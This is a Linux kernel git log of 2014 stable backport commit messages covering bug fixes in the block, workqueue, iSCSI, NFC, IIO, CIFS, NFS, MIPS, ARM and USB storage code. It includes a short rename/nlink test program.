Pranav Vashi commit 35e64956f96d84294846691c4228f41ccaf422c5 Author: Keith Busch Date: Tue Aug 26 09:05:36 2014 -0600 block: Fix dev_t minor allocation lifetime commit 2da78092dda13f1efd26edbbf99a567776913750 upstream. Releases the dev_t minor when all references are closed to prevent another device from acquiring the same major/minor. Since the partition's release may be invoked from call_rcu's soft-irq context, the ext_dev_idr's mutex had to be replaced with a spinlock so as not so sleep. Signed-off-by: Keith Busch Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4adb7c7db1ec62d89e9065ffc8e3fd427bf398ca Author: Tejun Heo Date: Sat Sep 13 04:14:30 2014 +0900 workqueue: apply __WQ_ORDERED to create_singlethread_workqueue() commit e09c2c295468476a239d13324ce9042ec4de05eb upstream. create_singlethread_workqueue() is a compat interface for single threaded workqueue which maps to ordered workqueue w/ rescuer in the current implementation. create_singlethread_workqueue() currently implemented by invoking alloc_workqueue() w/ appropriate parameters. 8719dceae2f9 ("workqueue: reject adjusting max_active or applying attrs to ordered workqueues") introduced __WQ_ORDERED to protect ordered workqueues against dynamic attribute changes which can break ordering guarantees but forgot to apply it to create_singlethread_workqueue(). This in itself is okay as nobody currently uses dynamic attribute change on workqueues created with create_singlethread_workqueue(). However, 4c16bd327c ("workqueue: implement NUMA affinity for unbound workqueues") broke singlethreaded guarantee for ordered workqueues through allocating a separate pool_workqueue on each NUMA node by default. A later change 8a2b75384444 ("workqueue: fix ordered workqueues in NUMA setups") fixed it by allocating only one global pool_workqueue if __WQ_ORDERED is set. Combined, the __WQ_ORDERED omission in create_singlethread_workqueue() became critical breaking its single threadedness and ordering guarantee. Let's make create_singlethread_workqueue() wrap alloc_ordered_workqueue() instead so that it inherits __WQ_ORDERED and can implicitly track future ordered_workqueue changes. v2: I missed that __WQ_ORDERED now protects against pwq splitting across NUMA nodes and incorrectly described the patch as a nice-to-have fix to protect against future dynamic attribute usages. Oleg pointed out that this is actually a critical breakage due to 8a2b75384444 ("workqueue: fix ordered workqueues in NUMA setups"). Signed-off-by: Tejun Heo Reported-by: Mike Anderson Cc: Oleg Nesterov Cc: Gustavo Luiz Duarte Cc: Tomas Henzl Fixes: 4c16bd327c ("workqueue: implement NUMA affinity for unbound workqueues") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f6dd193acabdd80a5414fa3585a8ca982334520 Author: Emmanuel Grumbach Date: Sun Aug 31 22:11:11 2014 +0300 Revert "iwlwifi: dvm: don't enable CTS to self" commit f47f46d7b09cf1d09e4b44b6cc4dd7d68a08028c upstream. This reverts commit 43d826ca5979927131685cc2092c7ce862cb91cd. This commit caused packet loss. Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8053c672b10289ecd1bc9f077aaeda61102e166 Author: Mike Christie Date: Wed Sep 3 00:00:39 2014 -0500 SCSI: libiscsi: fix potential buffer overrun in __iscsi_conn_send_pdu commit db9bfd64b14a3a8f1868d2164518fdeab1b26ad1 upstream. This patches fixes a potential buffer overrun in __iscsi_conn_send_pdu. This function is used by iscsi drivers and userspace to send iscsi PDUs/ commands. For login commands, we have a set buffer size. For all other commands we do not support data buffers. This was reported by Dan Carpenter here: http://www.spinics.net/lists/linux-scsi/msg66838.html Reported-by: Dan Carpenter Signed-off-by: Mike Christie Reviewed-by: Sagi Grimberg Signed-off-by: Christoph Hellwig Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 666d1f585ce20abe47eee3f03ec82d0078ac6143 Author: Dan Carpenter Date: Mon Sep 1 20:27:29 2014 +0300 NFC: microread: Potential overflows in microread_target_discovered() commit d07f1e8600ccb885c8f4143402b8912f7d827bcb upstream. Smatch says that skb->data is untrusted so we need to check to make sure that the memcpy() doesn't overflow. Fixes: cfad1ba87150 ('NFC: Initial support for Inside Secure microread') Signed-off-by: Dan Carpenter Signed-off-by: Samuel Ortiz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dedfe2ee089a8cac3e0c897f6c7d614bfefbf9c5 Author: Nicholas Bellinger Date: Wed Sep 17 11:45:17 2014 -0700 iscsi-target: Fix memory corruption in iscsit_logout_post_handler_diffcid commit b53b0d99d6fbf7d44330395349a895521cfdbc96 upstream. This patch fixes a bug in iscsit_logout_post_handler_diffcid() where a pointer used as storage for list_for_each_entry() was incorrectly being used to determine if no matching entry had been found. This patch changes iscsit_logout_post_handler_diffcid() to key off bool conn_found to determine if the function needs to exit early. Reported-by: Joern Engel Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ace31a8c1bb0955bd9611eb44a60a20c2ed7039e Author: Joern Engel Date: Tue Sep 2 17:49:54 2014 -0400 iscsi-target: avoid NULL pointer in iscsi_copy_param_list failure commit 8ae757d09c45102b347a1bc2867f54ffc1ab8fda upstream. In iscsi_copy_param_list() a failed iscsi_param_list memory allocation currently invokes iscsi_release_param_list() to cleanup, and will promptly trigger a NULL pointer dereference. Instead, go ahead and return for the first iscsi_copy_param_list() failure case. Found by coverity. Signed-off-by: Joern Engel Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb0470dc8b669cd901fb80f73f4d84883c800812 Author: Sagi Grimberg Date: Wed Jul 2 16:19:25 2014 +0300 Target/iser: Don't put isert_conn inside disconnected handler commit 0fc4ea701fcf5bc51ace4e288af5be741465f776 upstream. disconnected_handler is invoked on several CM events (such as DISCONNECTED, DEVICE_REMOVAL, TIMEWAIT_EXIT...). Since multiple events can occur while before isert_free_conn is invoked, we might put all isert_conn references and free the connection too early. Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a13619e291c659c5130e7a574feae41d5fd46395 Author: Sagi Grimberg Date: Wed Jul 2 16:19:24 2014 +0300 Target/iser: Get isert_conn reference once got to connected_handler commit c2f88b17a1d97ca4ecd96cc22333a7a4f1407d39 upstream. In case the connection didn't reach connected state, disconnected handler will never be invoked thus the second kref_put on isert_conn will be missing. Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b3e5c11c146ec62e0f62ea012c03c0e1dc1324eb Author: Johannes Pointner Date: Mon Aug 25 09:04:00 2014 +0100 iio:inkern: fix overwritten -EPROBE_DEFER in of_iio_channel_get_by_name commit 872687f626e033b4ddfaec1e410057cfc6636d77 upstream. Fixes: a2c12493ed7e ('iio: of_iio_channel_get_by_name() returns non-null pointers for error legs') which improperly assumes that of_iio_channel_get_by_name must always return NULL and thus now hides -EPROBE_DEFER. Signed-off-by: Johannes Pointner Reviewed-by: Guenter Roeck Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7ee23770d126499bb57b90678c5167309abe4e20 Author: Denis CIOCCA Date: Thu Oct 9 13:55:00 2014 +0100 iio:magnetometer: bugfix magnetometers gain values commit a31d0928999fbf33b3a6042e8bcb7b7f7e07d094 upstream. This patch fix gains values. The first driver was designed using engineering samples, in mass production the values are changed. Signed-off-by: Denis Ciocca Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 190ac0408f68b55635151eada07c012944f46195 Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio: adc: ad_sigma_delta: Fix indio_dev->trig assignment commit 9e5846be33277802c0c76e5c12825d0e4d27f639 upstream. This can result in wrong reference count for trigger device, call iio_trigger_get to increment reference. Refer to http://www.spinics.net/lists/linux-iio/msg13669.html for discussion with Jonathan. Signed-off-by: Srinivas Pandruvada Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a2bf74676681b81adde4c6cac593c0ca2d72edeb Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio: st_sensors: Fix indio_dev->trig assignment commit f0e84acd7056e6d7ade551c6439531606ae30a46 upstream. This can result in wrong reference count for trigger device, call iio_trigger_get to increment reference. Refer to http://www.spinics.net/lists/linux-iio/msg13669.html for discussion with Jonathan. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d3ed54b6701cc0b6939d1eb9704887784a66814e Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio: meter: ade7758: Fix indio_dev->trig assignment commit 0495081179212b758775df752e657ea71dcae020 upstream. This can result in wrong reference count for trigger device, call iio_trigger_get to increment reference. Refer to http://www.spinics.net/lists/linux-iio/msg13669.html for discussion with Jonathan. Signed-off-by: Srinivas Pandruvada Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7bb1605cf6a7ce94f902a9b30758dd88c2c56048 Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio: inv_mpu6050: Fix indio_dev->trig assignment commit b07e3b3850b2e1f09c19f54d3ed7210d9f529e2c upstream. This can result in wrong reference count for trigger device, call iio_trigger_get to increment reference. Refer to http://www.spinics.net/lists/linux-iio/msg13669.html for discussion with Jonathan. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0e05a8c43e932f7f9e48636dea9e77313f6386dc Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio: gyro: itg3200: Fix indio_dev->trig assignment commit 0b4dce2ee694a991ef38203ec5ff91a738518cb3 upstream. This can result in wrong reference count for trigger device, call iio_trigger_get to increment reference. Refer to http://www.spinics.net/lists/linux-iio/msg13669.html for discussion with Jonathan. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a391f3b58d8939f6f2532e59953205b4607b5a0f Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio:trigger: modify return value for iio_trigger_get commit f153566570fb9e32c2f59182883f4f66048788fb upstream. Instead of a void function, return the trigger pointer. Whilst not in of itself a fix, this makes the following set of 7 fixes cleaner than they would otherwise be. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1eed5fcf67eb8c0b8ad93c1f2cee2b7a81a09c3 Author: Pavel Shilovsky Date: Mon Aug 18 20:49:57 2014 +0400 CIFS: Fix SMB2 readdir error handling commit 52755808d4525f4d5b86d112d36ffc7a46f3fb48 upstream. SMB2 servers indicates the end of a directory search with STATUS_NO_MORE_FILE error code that is not processed now. This causes generic/257 xfstest to fail. Fix this by triggering the end of search by this error code in SMB2_query_directory. Also when negotiating CIFS protocol we tell the server to close the search automatically at the end and there is no need to do it itself. In the case of SMB2 protocol, we need to close it explicitly - separate close directory checks for different protocols. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c82abc4bcbbd6870851d3ae8a87cc586aa73f832 Author: Pavel Shilovsky Date: Fri Aug 22 13:32:09 2014 +0400 CIFS: Fix directory rename error commit a07d322059db66b84c9eb4f98959df468e88b34b upstream. CIFS servers process nlink counts differently for files and directories. In cifs_rename() if we the request fails on the existing target, we try to remove it through cifs_unlink() but this is not what we want to do for directories. As the result the following sequence of commands mkdir {1,2}; mv -T 1 2; rmdir {1,2}; mkdir {1,2}; echo foo > 2/bar and XFS test generic/023 fail with -ENOENT error. That's why the second mkdir reuses the existing inode (target inode of the mv -T command) with S_DEAD flag. Fix this by checking whether the target is directory or not and calling cifs_rmdir() rather than cifs_unlink() for directories. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa56ed7644a0bc3df60a3e9c7fab976aaf81f1f9 Author: Peter Ujfalusi Date: Thu Sep 4 10:52:53 2014 +0300 ASoC: davinci-mcasp: Correct rx format unit configuration commit fe0a29e163a5d045c73faab682a8dac71c2f8012 upstream. In case of capture we should not use rotation. The reverse and mask is enough to get the data align correctly from the bus to MCU: Format data from bus after reverse (XRBUF) S16_LE: |LSB|MSB|xxx|xxx| |xxx|xxx|MSB|LSB| S24_3LE: |LSB|DAT|MSB|xxx| |xxx|MSB|DAT|LSB| S24_LE: |LSB|DAT|MSB|xxx| |xxx|MSB|DAT|LSB| S32_LE: |LSB|DAT|DAT|MSB| |MSB|DAT|DAT|LSB| With this patch all supported formats will work for playback and capture. Reported-by: Jyri Sarha (broken S24_3LE capture) Signed-off-by: Peter Ujfalusi Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 69b292b9b46b025e9f4a48e195fc45773bb587fe Author: Miklos Szeredi Date: Wed Sep 24 17:56:17 2014 +0200 shmem: fix nlink for rename overwrite directory commit b928095b0a7cff7fb9fcf4c706348ceb8ab2c295 upstream. If overwriting an empty directory with rename, then need to drop the extra nlink. Test prog: #include #include #include #include int main(void) { const char *test_dir1 = "test-dir1"; const char *test_dir2 = "test-dir2"; int res; int fd; struct stat statbuf; res = mkdir(test_dir1, 0777); if (res == -1) err(1, "mkdir(\"%s\")", test_dir1); res = mkdir(test_dir2, 0777); if (res == -1) err(1, "mkdir(\"%s\")", test_dir2); fd = open(test_dir2, O_RDONLY); if (fd == -1) err(1, "open(\"%s\")", test_dir2); res = rename(test_dir1, test_dir2); if (res == -1) err(1, "rename(\"%s\", \"%s\")", test_dir1, test_dir2); res = fstat(fd, &statbuf); if (res == -1) err(1, "fstat(%i)", fd); if (statbuf.st_nlink != 0) { fprintf(stderr, "nlink is %lu, should be 0\n", statbuf.st_nlink); return 1; } return 0; } Signed-off-by: Miklos Szeredi Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c65dda50a7636b8be75046f5db7d80f0677f08c Author: Dave Young Date: Tue Aug 26 17:06:41 2014 +0800 x86 early_ioremap: Increase FIX_BTMAPS_SLOTS to 8 commit 3eddc69ffeba092d288c386646bfa5ec0fce25fd upstream. 3.16 kernel boot fail with earlyprintk=efi, it keeps scrolling at the bottom line of screen. Bisected, the first bad commit is below: commit 86dfc6f339886559d80ee0d4bd20fe5ee90450f0 Author: Lv Zheng Date: Fri Apr 4 12:38:57 2014 +0800 ACPICA: Tables: Fix table checksums verification before installation. I did some debugging by enabling both serial and efi earlyprintk, below is some debug dmesg, seems early_ioremap fails in scroll up function due to no free slot, see below dmesg output: WARNING: CPU: 0 PID: 0 at mm/early_ioremap.c:116 __early_ioremap+0x90/0x1c4() __early_ioremap(ed00c800, 00000c80) not found slot Modules linked in: CPU: 0 PID: 0 Comm: swapper Not tainted 3.17.0-rc1+ #204 Hardware name: Hewlett-Packard HP Z420 Workstation/1589, BIOS J61 v03.15 05/09/2013 Call Trace: dump_stack+0x4e/0x7a warn_slowpath_common+0x75/0x8e ? __early_ioremap+0x90/0x1c4 warn_slowpath_fmt+0x47/0x49 __early_ioremap+0x90/0x1c4 ? sprintf+0x46/0x48 early_ioremap+0x13/0x15 early_efi_map+0x24/0x26 early_efi_scroll_up+0x6d/0xc0 early_efi_write+0x1b0/0x214 call_console_drivers.constprop.21+0x73/0x7e console_unlock+0x151/0x3b2 ? vprintk_emit+0x49f/0x532 vprintk_emit+0x521/0x532 ? console_unlock+0x383/0x3b2 printk+0x4f/0x51 acpi_os_vprintf+0x2b/0x2d acpi_os_printf+0x43/0x45 acpi_info+0x5c/0x63 ? __acpi_map_table+0x13/0x18 ? acpi_os_map_iomem+0x21/0x147 acpi_tb_print_table_header+0x177/0x186 acpi_tb_install_table_with_override+0x4b/0x62 acpi_tb_install_standard_table+0xd9/0x215 ? early_ioremap+0x13/0x15 ? __acpi_map_table+0x13/0x18 acpi_tb_parse_root_table+0x16e/0x1b4 acpi_initialize_tables+0x57/0x59 acpi_table_init+0x50/0xce acpi_boot_table_init+0x1e/0x85 setup_arch+0x9b7/0xcc4 start_kernel+0x94/0x42d ? early_idt_handlers+0x120/0x120 x86_64_start_reservations+0x2a/0x2c x86_64_start_kernel+0xf3/0x100 Quote reply from Lv.zheng about the early ioremap slot usage in this case: """ In early_efi_scroll_up(), 2 mapping entries will be used for the src/dst screen buffer. In drivers/acpi/acpica/tbutils.c, we've improved the early table loading code in acpi_tb_parse_root_table(). We now need 2 mapping entries: 1. One mapping entry is used for RSDT table mapping. Each RSDT entry contains an address for another ACPI table. 2. For each entry in RSDP, we need another mapping entry to map the table to perform necessary check/override before installing it. When acpi_tb_parse_root_table() prints something through EFI earlyprintk console, we'll have 4 mapping entries used. The current 4 slots setting of early_ioremap() seems to be too small for such a use case. """ Thus increase the slot to 8 in this patch to fix this issue. boot-time mappings become 512 page with this patch. Signed-off-by: Dave Young Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0b1fdfbbe22722e3baf9f79298bed8f30c5e0b8 Author: Marcelo Tosatti Date: Tue Jun 11 23:31:12 2013 -0300 KVM: x86: handle idiv overflow at kvm_write_tsc commit 8915aa27d5efbb9185357175b0acf884325565f9 upstream. Its possible that idivl overflows (due to large delta stored in usdiff, valid scenario). Create an exception handler to catch the overflow exception (division by zero is protected by vcpu->arch.virtual_tsc_khz check), and interpret it accordingly (delta is larger than USEC_PER_SEC). Fixes https://bugzilla.redhat.com/show_bug.cgi?id=969644 Signed-off-by: Marcelo Tosatti Signed-off-by: Gleb Natapov Signed-off-by: Philipp Hahn Tested-by: Philipp Hahn Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 07f1eab9e5a30e17d9e62fd7ac0b9ad733cf6430 Author: Bob Moore Date: Tue Sep 23 10:35:47 2014 +0800 ACPICA: Update to GPIO region handler interface. commit 75ec6e55f1384548311a13ce4fcb39c516053314 upstream. Changes to correct several GPIO issues: 1) The update_rule in a GPIO field definition is now ignored; a read-modify-write operation is never performed for GPIO fields. (Internally, this means that the field assembly/disassembly code is completely bypassed for GPIO.) 2) The Address parameter passed to a GPIO region handler is now the bit offset of the field from a previous Connection() operator. Thus, it becomes a "Pin Number Index" into the Connection() resource descriptor. 3) The bit_width parameter passed to a GPIO region handler is now the exact bit width of the GPIO field. Thus, it can be interpreted as "number of pins". Overall, we can now say that the region handler interface to GPIO handlers is a raw "bit/pin" addressed interface, not a byte-addressed interface like the system_memory handler interface. Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0e7e3b5a2ae3326a4d5a5b6681bfa7e3188b99c1 Author: Markos Chandras Date: Tue Sep 16 15:55:12 2014 +0100 MIPS: mcount: Adjust stack pointer for static trace in MIPS32 commit 8a574cfa2652545eb95595d38ac2a0bb501af0ae upstream. Every mcount() call in the MIPS 32-bit kernel is done as follows: [...] move at, ra jal _mcount addiu sp, sp, -8 [...] but upon returning from the mcount() function, the stack pointer is not adjusted properly. This is explained in details in 58b69401c797 (MIPS: Function tracer: Fix broken function tracing). Commit ad8c396936e3 ("MIPS: Unbreak function tracer for 64-bit kernel.) fixed the stack manipulation for 64-bit but it didn't fix it completely for MIPS32. Signed-off-by: Markos Chandras Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/7792/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d86bc61858c00ea5ee5544de98fc3a533d9ca8ee Author: Aurelien Jarno Date: Sun Jul 20 19:58:23 2014 +0200 MIPS: ZBOOT: add missing include commit 29593fd5a8149462ed6fad0d522234facdaee6c8 upstream. Commit dc4d7b37 (MIPS: ZBOOT: gather string functions into string.c) moved the string related functions into a separate file, which might cause the following build error, depending on the configuration: | CC arch/mips/boot/compressed/decompress.o | In file included from linux/arch/mips/boot/compressed/../../../../lib/decompress_unxz.c:234:0, | from linux/arch/mips/boot/compressed/decompress.c:67: | linux/arch/mips/boot/compressed/../../../../lib/xz/xz_dec_stream.c: In function 'fill_temp': | linux/arch/mips/boot/compressed/../../../../lib/xz/xz_dec_stream.c:162:2: error: implicit declaration of function 'memcpy' [-Werror=implicit-function-declaration] | cc1: some warnings being treated as errors | linux/scripts/Makefile.build:308: recipe for target 'arch/mips/boot/compressed/decompress.o' failed | make[6]: *** [arch/mips/boot/compressed/decompress.o] Error 1 | linux/arch/mips/Makefile:308: recipe for target 'vmlinuz' failed It does not fail with the standard configuration, as when CONFIG_DYNAMIC_DEBUG is not enabled gets included in include/linux/dynamic_debug.h. There might be other ways for it to get indirectly included. We can't add the include directly in xz_dec_stream.c as some architectures might want to use a different version for the boot/ directory (see for example arch/x86/boot/string.h). Signed-off-by: Aurelien Jarno Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/7420/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit afd79af7313723010433c65ae7fb9448a226ae15 Author: Robin Murphy Date: Thu Sep 25 11:56:19 2014 +0100 ARM: 8165/1: alignment: don't break misaligned NEON load/store commit 5ca918e5e3f9df4634077c06585c42bc6a8d699a upstream. The alignment fixup incorrectly decodes faulting ARM VLDn/VSTn instructions (where the optional alignment hint is given but incorrect) as LDR/STR, leading to register corruption. Detect these and correctly treat them as unhandled, so that userspace gets the fault it expects. Reported-by: Simon Hosie Signed-off-by: Robin Murphy Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4051a7385cf4c757fc6c08bddba640c628bbc9c3 Author: Dave Martin Date: Mon Nov 25 14:54:47 2013 +0100 ARM: 7897/1: kexec: Use the right ISA for relocate_new_kernel commit e2ccba49085ab5d71b092de2a5176eb9b19cc876 upstream. Copying a function with memcpy() and then trying to execute the result isn't trivially portable to Thumb. This patch modifies the kexec soft restart code to copy its assembler trampoline relocate_new_kernel() using fncpy() instead, so that relocate_new_kernel can be in the same ISA as the rest of the kernel without problems. Signed-off-by: Dave Martin Acked-by: Will Deacon Reported-by: Taras Kondratiuk Tested-by: Taras Kondratiuk Signed-off-by: Russell King Integrated-by: Liu Hua Signed-off-by: Liu Hua Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4b3cdbd7d339568b1467903227c5d356e418e640 Author: Mark Rutland Date: Fri Aug 15 12:11:49 2014 +0100 ARM: 8128/1: abort: don't clear the exclusive monitors commit 85868313177700d20644263a782351262d2aff84 upstream. The ARMv6 and ARMv7 early abort handlers clear the exclusive monitors upon entry to the kernel, but this is redundant: - We clear the monitors on every exception return since commit 200b812d0084 ("Clear the exclusive monitor when returning from an exception"), so this is not necessary to ensure the monitors are cleared before returning from a fault handler. - Any dummy STREX will target a temporary scratch area in memory, and may succeed or fail without corrupting useful data. Its status value will not be used. - Any other STREX in the kernel must be preceded by an LDREX, which will initialise the monitors consistently and will not depend on the earlier state of the monitors. Therefore we have no reason to care about the initial state of the exclusive monitors when a data abort is taken, and clearing the monitors prior to exception return (as we already do) is sufficient. This patch removes the redundant clearing of the exclusive monitors from the early abort handlers. Signed-off-by: Mark Rutland Acked-by: Will Deacon Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7655fee82fa694c031e5f3e03ffd57793b4dc1af Author: Trond Myklebust Date: Thu Sep 18 11:51:32 2014 -0400 NFSv4: Fix another bug in the close/open_downgrade code commit cd9288ffaea4359d5cfe2b8d264911506aed26a4 upstream. James Drew reports another bug whereby the NFS client is now sending an OPEN_DOWNGRADE in a situation where it should really have sent a CLOSE: the client is opening the file for O_RDWR, but then trying to do a downgrade to O_RDONLY, which is not allowed by the NFSv4 spec. Reported-by: James Drews Link: http://lkml.kernel.org/r/541AD7E5.8020409@engr.wisc.edu Fixes: aee7af356e15 (NFSv4: Fix problems with close in the presence...) Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dcf878e2beadd6b3592f580eecfb590d7fda44a5 Author: Steve Dickson Date: Thu Sep 18 09:13:17 2014 -0400 NFSv4: nfs4_state_manager() vs. nfs_server_remove_lists() commit 080af20cc945d110f9912d01cf6b66f94a375b8d upstream. There is a race between nfs4_state_manager() and nfs_server_remove_lists() that happens during a nfsv3 mount. The v3 mount notices there is already a supper block so nfs_server_remove_lists() called which uses the nfs_client_lock spin lock to synchronize access to the client list. At the same time nfs4_state_manager() is running through the client list looking for work to do, using the same lock. When nfs4_state_manager() wins the race to the list, a v3 client pointer is found and not ignored properly which causes the panic. Moving some protocol checks before the state checking avoids the panic. Signed-off-by: Steve Dickson Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c3edb8147eab3ba2f8adba60efad0afa306aa32f Author: Shen Guang Date: Wed Jan 8 14:45:42 2014 +0800 usb:hub set hub->change_bits when over-current happens commit 08d1dec6f4054e3613f32051d9b149d4203ce0d2 upstream. When we are doing compliance test with xHCI, we found that if we enable CONFIG_USB_SUSPEND and plug in a bad device which causes over-current condition to the root port, software will not be noticed. The reason is that current code don't set hub->change_bits in hub_activate() when over-current happens, and then hub_events() will not check the port status because it thinks nothing changed. If CONFIG_USB_SUSPEND is disabled, the interrupt pipe of the hub will report the change and set hub->event_bits, and then hub_events() will check what events happened.In this case over-current can be detected. Signed-off-by: Shen Guang Acked-by: Alan Stern Acked-by: Sarah Sharp Cc: Frans Klaver Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c5235f0de22cba6fcbea70773fc367fd0abe22d9 Author: Felipe Balbi Date: Wed Sep 3 16:42:57 2014 -0500 usb: dwc3: omap: fix ordering for runtime pm calls commit 81a60b7f5c143ab3cdcd9943c9b4b7c63c32fc31 upstream. we don't to gate clocks until our children are done with their remove path. Fixes: af310e9 (usb: dwc3: omap: use runtime API's to enable clocks) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b5fba2cda7babdf968cf66450bec9ab057da88e Author: Alan Stern Date: Wed Sep 17 11:23:54 2014 -0400 USB: EHCI: unlink QHs even after the controller has stopped commit 7312b5ddd47fee2356baa78c5516ef8e04eed452 upstream. Old code in ehci-hcd tries to expedite disabling endpoints after the controller has stopped, by destroying the endpoint's associated QH without first unlinking the QH. This was necessary back when the driver wasn't so careful about keeping track of the controller's state. But now we are careful about it, and the driver knows that when the controller isn't running, no unlinking delay is needed. Furthermore, skipping the unlink step will trigger a BUG() in qh_destroy() when the preceding QH is released, because the link pointer will be non-NULL. Removing the lines that skip the unlinking step and go directly to QH_STATE_IDLE fixes the problem. Signed-off-by: Alan Stern Reported-by: Joe Lawrence Tested-by: Joe Lawrence Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 034c4a9fed4af404604ba4474a0d239b5d845e83 Author: Mark Date: Wed Sep 17 19:15:43 2014 +0100 USB: storage: Add quirks for Entrega/Xircom USB to SCSI converters commit c80b4495c61636edc58fe1ce300f09f24db28e10 upstream. This patch adds quirks for Entrega Technologies (later Xircom PortGear) USB- SCSI converters. They use Shuttle Technology EUSB-01/EUSB-S1 chips. The US_FL_SCM_MULT_TARG quirk is needed to allow multiple devices on the SCSI chain to be accessed. Without it only the (single) device with SCSI ID 0 can be used. The standalone converter sold by Entrega had model number U1-SC25. Xircom acquired Entrega and re-branded the product line PortGear. The PortGear USB to SCSI Converter (model PGSCSI) is internally identical to the Entrega product, but later models may use a different USB ID. The Entrega-branded units have USB ID 1645:0007, as does my Xircom PGSCSI, but the Windows and Macintosh drivers also support 085A:0028. Entrega also sold the "Mac USB Dock", which provides two USB ports, a Mac (8-pin mini-DIN) serial port and a SCSI port. It appears to the computer as a four-port hub, USB-serial, and USB-SCSI converters. The USB-SCSI part may have initially used the same ID as the standalone U1-SC25 (1645:0007), but later production used 085A:0026. My Xircom PortGear PGSCSI has bcdDevice=0x0100. Units with bcdDevice=0x0133 probably also exist. This patch adds quirks for 1645:0007, 085A:0026 and 085A:0028. The Windows driver INF file also mentions 085A:0032 "PortStation SCSI Module", but I couldn't find any mention of that actually existing in the wild; perhaps it was cancelled before release? Signed-off-by: Mark Knibbs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56995fa5413503f17df75d05cf18e3f37c78ba9c Author: Mark Date: Tue Sep 16 16:51:41 2014 +0100 USB: storage: Add quirk for Ariston Technologies iConnect USB to SCSI adapter commit b6a3ed677991558ce09046397a7c4d70530d15b3 upstream. Hi, The Ariston Technologies iConnect 025 and iConnect 050 (also known as e.g. iSCSI-50) are SCSI-USB converters which use Shuttle Technology/SCM Microsystems chips. Only the connectors differ; both have the same USB ID. The US_FL_SCM_MULT_TARG quirk is required to use SCSI devices with ID other than 0. I don't have one of these, but based on the other entries for Shuttle/ SCM-based converters this patch is very likely correct. I used 0x0000 and 0x9999 for bcdDeviceMin and bcdDeviceMax because I'm not sure which bcdDevice value the products use. Signed-off-by: Mark Knibbs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18f246e078e72a275339f9f02d08b59445a43c1b Author: Mark Date: Tue Sep 16 16:22:50 2014 +0100 USB: storage: Add quirk for Adaptec USBConnect 2000 USB-to-SCSI Adapter commit 